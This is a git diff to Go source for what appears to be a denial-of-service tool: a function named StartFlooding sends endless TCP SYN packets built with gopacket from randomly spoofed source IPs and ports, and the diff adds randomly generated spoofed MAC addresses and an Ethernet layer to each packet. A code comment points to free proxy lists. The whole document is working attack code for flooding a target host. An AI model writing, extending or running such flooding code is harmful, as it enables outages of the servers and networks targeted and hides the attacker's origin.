diff --git a/pkg/raw/raw.go b/pkg/raw/raw.go index 2817d90..5ae6367 100644 --- a/pkg/raw/raw.go +++ b/pkg/raw/raw.go @@ -34,6 +34,7 @@ func StartFlooding(dstIpStr string, dstPort, payloadLength int) { payload := getRandomPayload(payloadLength) srcIps := getIps() srcPorts := getPorts() + macAddrs := getMacAddrs() for { // !!! https://www.devdungeon.com/content/packet-capture-injection-and-analysis-gopacket @@ -47,7 +48,9 @@ func StartFlooding(dstIpStr string, dstPort, payloadLength int) { // free proxies -> https://www.sslproxies.org/ ipPacket := buildIpPacket(srcIps[rand.Intn(len(srcIps))], dstIpStr) - tcpPacket := buildTcpPacket(int(srcPorts[rand.Intn(len(srcPorts))]), dstPort) + tcpPacket := buildTcpPacket(srcPorts[rand.Intn(len(srcPorts))], dstPort) + ethernetLayer := buildEthernetPacket(macAddrs[rand.Intn(len(macAddrs))], macAddrs[rand.Intn(len(macAddrs))]) + err := tcpPacket.SetNetworkLayerForChecksum(ipPacket) if err != nil { panic(err) @@ -72,7 +75,7 @@ func StartFlooding(dstIpStr string, dstPort, payloadLength int) { } tcpPayloadBuf := gopacket.NewSerializeBuffer() payload := gopacket.Payload(payload) - err = gopacket.SerializeLayers(tcpPayloadBuf, opts, tcpPacket, payload) + err = gopacket.SerializeLayers(tcpPayloadBuf, opts, ethernetLayer, tcpPacket, payload) if err != nil { panic(err) } @@ -133,4 +136,11 @@ func buildTcpPacket(srcPort, dstPort int) *layers.TCP { SYN: true, ACK: false, } +} + +func buildEthernetPacket(srcMac, dstMac []byte) *layers.Ethernet { + return &layers.Ethernet{ + SrcMAC: net.HardwareAddr{srcMac[0], srcMac[1], srcMac[2], srcMac[3], srcMac[4], srcMac[5]}, + DstMAC: net.HardwareAddr{dstMac[0], dstMac[1], dstMac[2], dstMac[3], dstMac[4], dstMac[5]}, + } } \ No newline at end of file diff --git a/pkg/raw/utils.go b/pkg/raw/utils.go index 899b25f..b1c3ce6 100644 --- a/pkg/raw/utils.go +++ b/pkg/raw/utils.go @@ -28,4 +28,22 @@ func getPorts() []int { } return ports +} + +func getMacAddrs() [][]byte { + macAddrs := make([][]byte, 0) + for i := 0; i <= 50; i++ { + buf := make([]byte, 6) + _, err := rand.Read(buf) + if err != nil { + fmt.Println("error:", err) + continue + } + macAddrs = append(macAddrs, buf) + + //macAddrs = append(macAddrs, fmt.Sprintf("%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], + // buf[4], buf[5], buf[6], buf[7])) + } + + return macAddrs } \ No newline at end of file